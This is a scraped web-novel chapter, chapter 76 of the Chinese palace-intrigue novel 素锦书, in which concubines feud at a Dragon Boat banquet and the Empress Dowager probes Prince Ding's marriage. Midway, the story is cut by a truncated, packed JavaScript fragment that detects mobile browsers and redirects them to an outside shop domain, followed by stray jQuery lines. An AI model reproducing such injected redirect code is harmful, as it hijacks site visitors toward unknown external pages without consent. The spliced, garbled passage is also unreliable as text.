文趣网 > 其他小说 > 素锦书 > 76. 第76章 延春
    自入阁的第二日之后,皇后便不分早晚来请她和白心窈前去坤宁宫中抄写女诫,苏缦以侍候在皇帝身侧且是直笔内人婉拒,不过赵祉还是没有宠幸她,夜间睡在偏殿,皇后掌管后宫,想必问过御前女官便会知道,而白心窈,苏缦曾在路上碰见过她,神色憔悴,满眼红肿,看来,皇后并没有放过她。

    但是,为何皇后会针对白心窈呢?

    “你在看我笑话?”

    白心窈恨恨地看着她,苏缦淡然瞥她一眼,“杀鸡儆猴、兔死狐悲,有什么可笑话你的?”

    说完,苏缦便径直往阁中而去,白心窈身边的宫女拉了拉她的袖子,她仿佛如梦初醒,咬咬唇,出声道:“我受不了,宫中的皇后娘娘竟然是这样的人,你帮帮我,好不好?”

    苏缦转首,看着白心窈眼中的乞求,“如何帮?”

    白心窈鼓足勇气,“让我也同你一样待在官家身边,你能见到官家,求求你——同官家求个情,我一连三日都没有睡过了。”

    苏缦面色转冷,“你不是说我是害人凶手吗?你来求我,也不怕你被我害?”

    白心窈噎住,眼睫无助地眨了眨,最终露出一个悲凉的笑,“我也是头昏了,竟然想找你来求个法子,我不求你。”

    苏缦眼中毫不在意,“我根本不在乎你到底是如何想的,官家是不会轻易允诺妃嫔所求,倘若你真想好好活着,在深宫的夹缝里不如去寻一个可以和皇后娘娘对抗的人——”

    白心窈一愣,低下头道:“是谁?”

    苏缦眼眸定定,答道:“淑妃娘子。”

    白心窈面上晃悟,苏缦已经抬步入了阁中,常槐随即关了阁门。

    白心窈神色复杂地盯着苏缦消失的阁中,一旁的侍女挽着她的胳膊,犹疑问道:“娘子?”

    “走,去万安宫拜见淑妃娘子,我求她去。”

    苏缦坐上小榻,葚玉过来奉茶,见苏缦唇边浅笑,便欢喜问道:“娘子这样,可是发生了什么好事?今日官家说要亲自到娘子阁中来么?”

    苏缦浅浅摇头,啜了口茶,葚玉抱着漆盘,眼中流露一丝为她而生出的惋惜,春泱见此,拍拍她肩头,“官家自有官家的事忙,我们照顾好娘子便是对的。”

    葚玉点头笑着下去,春泱在一旁拿着团扇替她扇风。

    苏缦只是一开始担心白心窈将邹思绵的事透露给皇后给自己带来麻烦,现在皇后如此对白心窈,反而迫使白心窈倒向淑妃,她关于夜明珠的计策才算是真正没有错漏。

    她自然高兴,皇后对她的针对是不可改变的,这些日子,她看的明白,皇后着实是个矛盾得很的人,她不只针对她,之前她索性挑起皇后的怒火,再利用邹思绵邹尚宫,既除去麻烦又帮助皇帝之外,也是想看看顺势而为还有什么效果,没想到直接让太后令皇后去请官家下旨册封新娘子。

    这并不代表太后是个多么亲善的人,反而是她对前朝后宫都有自信把持在手中,无人可以撼动。

    宫中的日子还长,太后、皇后、官家,都是这盘棋上的执棋之人,局势有险,亦有转机。

    明日便是端午宫宴,到那时她便会见到绿绮,从她口中得知进展如何。

    *

    晨早,葚玉给坐在妆台前的苏缦梳好双蟠髻,正拿着妆箧盒子里的钗环比着往上放,苏缦看着镜中傅粉唇朱、姿容妍丽的女子,已经与从前青桐山照在溪间的倒影截然不同,她垂眸从带来的盒子里拿出一支琉璃雀钗递给葚玉,“把这个戴上——”

    葚玉观察这只琉璃雀钗做的十分精美,笑道:“娘子这钗一定在晚上宝津楼的宫灯之下流光溢彩,想必官家也会为娘子注目的。”

    苏缦浅笑不言,看着葚玉在她鬓发间插好琉璃雀钗,抚平脑后的红缯,末尾垂坠珍珠装饰,葚玉又在她额间贴好珍珠钿,眼尾贴上一小串珍珠。

    苏缦站起身,浅浅用过膳,便起身坐轿前往宣德门处,宫妃已经都聚集在宣德门旁,皇后和俞德妃、杨淑妃都在太后的大安辇之后,目光掠过前方,皇帝赵祉的辇车停在太后一旁,扬目去观,竟然分不清哪个是皇帝的仪仗,哪个是太后的仪仗。

    不,是太后所用的便是天子仪仗。

    苏缦收回目光,眼前有三位靠前些的妃子,一位是王美人,闺名王婤,这位美人看起来性情温和沉静,听闻她和俞德妃来往甚密,另一位是臧美人,闺名凝姿,娇媚动人,她怀着孕,和一旁的淑妃显得亲昵,还有一位便是朱美人,显得冷淡疏离,整个人并不融入氛围,唤作淑姬,人如其名,遗世独立。

    和始平郡君何娘子站在一起的是孟才人,孟才人举止之间露出一股小家子气,却有个极典雅的名字——墨萱,一众妃嫔中,她倒是很热切地追捧皇后。

    苏缦看了身旁的白心窈,她显得困倦,眼下乌青抹黑,定是昨日皇后又让她去坤宁宫抄写女诫。

    宫妃们千姿百媚,一眼望去如同烟霞汇聚的整一式样霞帔宫裙,珠饰琳琅、耳铛摇曳,站在后头的苏缦却感觉到其间暗流涌动。

    前头的赵祉神色淡然,对坐在辇上的太后道:“今日宫宴,小娘娘膝盖旧伤作痛,便不能一同去金明池观看表演——朕已经派了人去慰问。”

    太后轻噢一声,烧蓝金冠上的流苏微动,眼中锐利道:“她的病是在王府落下的,传吾的旨,今日端午宫宴的食单给庆寿宫送去一份。”

    赵祉一笑,“已经派人送去,思悟陪着小娘娘她。”

    太后颔首道:“思悟是个不错的孩子,怪不得太妃疼她。”

    说罢,两人之间便陷入沉默,无须多言什么,赵祉回首眸光落在宫妃末处,与苏缦四目相接,苏缦眼眸溢出些许流光,赵祉唇角勾笑,回过首对阎文礼道:“时辰到了,走罢——”

    宫妃上了马车,跟在太后、皇帝的车辇之后出了宣德门经过御街,往西边的金明池去,晚间宫宴设在宝津楼,白日在金明池的临水宫殿宴乐。

    抵达的时候已经过午,苏缦下了马车跟在妃子身后登上狭长的虹桥往水中大殿而去,结果前头的孟才人忽地停住脚步,苏缦反应敏锐停了下来,却被身后的白心窈无意一撞,苏缦稳定身形时踩中了孟才人的披帛,孟才人回过头,便呵斥道:“贱婢!反了你?”

    说着,便扬手要去打苏缦,苏缦直接反手一推她肩头,孟才人便错过与苏缦相对,而摔倒在桥栏处,差点半个身子往湖下而去,苏缦踩住她的披帛,孟才人惊呼一声,吸引众多目光,众人只见苏缦拉住孟才人的胳膊,关切问道:“才人可有事?幸好不曾掉进湖里——”

    同时,皇后看过来的眸光冷了几分,这个孟才人!让她想法子让苏缦在太后官家面前出丑,反倒是她闹笑话。

    孟才人收回自己的披帛,当众指着她,“你敢推我?还敢踩我的衣裙!”

    已经坐在殿中上首的太后瞥了眼桥上的情况,“放肆!今日是宫宴,让她们近前来——同吾说说,是什么事!”

    过了虹桥,孟才人和苏缦被江德明请过来直接跪在太后面前,孟才人率先哭诉道:“太后娘娘,寿春郡君踩我的衣裙,还想将我推进湖里。”

    身后的苏缦抬起头一脸茫然,“孟娘子,我方才情急之下踩了你的披帛也是为了救你,你为何这样说?”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599521|203665||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >太后扫过下方的两个低位妃嫔相争,她甚感无聊,在宫中生活久了无非是宫妃攻讦,谁又是清白无辜的,太后扬手道:“喧哗生事、扰乱宫宴,孟才人掌嘴十个巴掌,寿春郡君——”

    杨淑妃开口求情道:“方才寿春郡君的确是救了孟才人,我们都亲眼所见,还望太后娘娘明察——”

    太后淡淡瞥了一眼杨淑妃,这一眼叫杨淑妃垂首闭嘴,她转而面向一旁的皇帝赵祉,“官家呢?”

    赵祉对四下问道:“可曾见到苏娘子推了孟才人?”

    众人摇头,唯有白心窈眼神躲闪,却没有表示,赵祉一笑,“大娘娘,明明是苏娘子救了孟才人,孟才人反倒因为衣裙脏污责怪苏娘子,可不能叫宫中之人寒心——”

    随即,在太后的注视下,赵祉走下御座,朝苏缦伸出手,“你今日救了孟才人有功,便坐到朕身后罢——”

    众目睽睽之下,苏缦敛眸伸出手覆上赵祉的手掌,随后,跟着赵祉走到他身后的小几处坐下,太后也不由地瞥向苏缦,眼眸如潮水汹涌复杂,指节敲击桌案,面庞陷入几分沉思。

    来人正好瞧见这一幕,定王同侧妃苏云珠一同过来,定王看着苏缦被赵祉牵着手往御座而去,心中浮起一丝苦涩,心中的不甘和恨意盘踞已久。

    不做他的侧妃,就是为了当皇兄后宫之中的妃子之一?她可真是、明白如何能伤透他心的!不,她根本没有心,皇兄说过的话犹言在耳,她不愿嫁给他,宁愿入宫。

    前不久还与他温柔细语、亲昵蜜爱,临了却只字片语都不曾给他,就这样绝情离开,投入皇兄怀中,没有半分解释,一句不愿嫁他,便可以了吗?

    一个多月来,他终于见到了她的面,可眼前却是她深得皇兄宠爱,听闻,她被皇兄封为寿春郡君,皇兄被封为太子之前便是寿春郡王,她可真是、把喜欢她的男人玩弄于鼓掌。

    一旁的苏云珠察觉到定王眼中的情绪,黯然神伤,自从成婚后,定王从未踏足过后院,虽然锦衣玉食、王妃体恤,但她也如同守寡一般,唯有替王妃分担职责,才能缓解她内心的不安,定王不喜欢她,她是个偷窃者,也许以后王府进了新人,她靠着诰封也能不受人苛待,却也绝不能希冀会有一个如意郎君。

    太后眼中露出一抹异色,面带微笑道:“定王纳侧妃也有些日子了,今日金明池设宴,让吾好好看看定王的侧妃。”

    苏云珠小心翼翼地按上定王的胳膊,定王眉宇露出一丝忍耐,收敛自己过于汹涌的情绪,朝临水殿而去,殿宇空旷,四面通风,池水对面已经站定了表演的仪列。

    定王踱步而前,走近到皇帝、太后面前,“皇兄万岁、太后娘娘圣安——”

    太后轻抬手,略一打量透着胆怯的苏云珠,便道:“这便是你的新夫人?听闻是苏侍郎家的女儿,不知是几娘子呢?”

    苏缦眸光微澜,便听见皇帝身边的内监阎文礼道:“是官家赐婚的云珠娘子,行五。”

    苏云珠连忙欠身道:“臣、臣妾是侍郎苏顼的女儿,苏五娘子。”

    太后啜了口酒液,转首对皇帝道:“吾听人说官家赐婚的时候不是赐给定王四娘子么?”

    皇后露出一抹得意的笑,越发冷艳地盯着苏缦。

    皇帝浅淡一笑,应对如常,“道听途说不可轻信,并没有这回事。”

    太后看向定王,半晌,定王拱手道:“官家赐婚给臣弟,臣弟感激,多谢太后娘娘关心。”

    即便定王掩饰得很好,太后却还是感觉出一丝不寻常,露出点点笑意,却是轻拿轻放,“如此,吾便放心了,不能叫外头人乱传谣言出来才是。”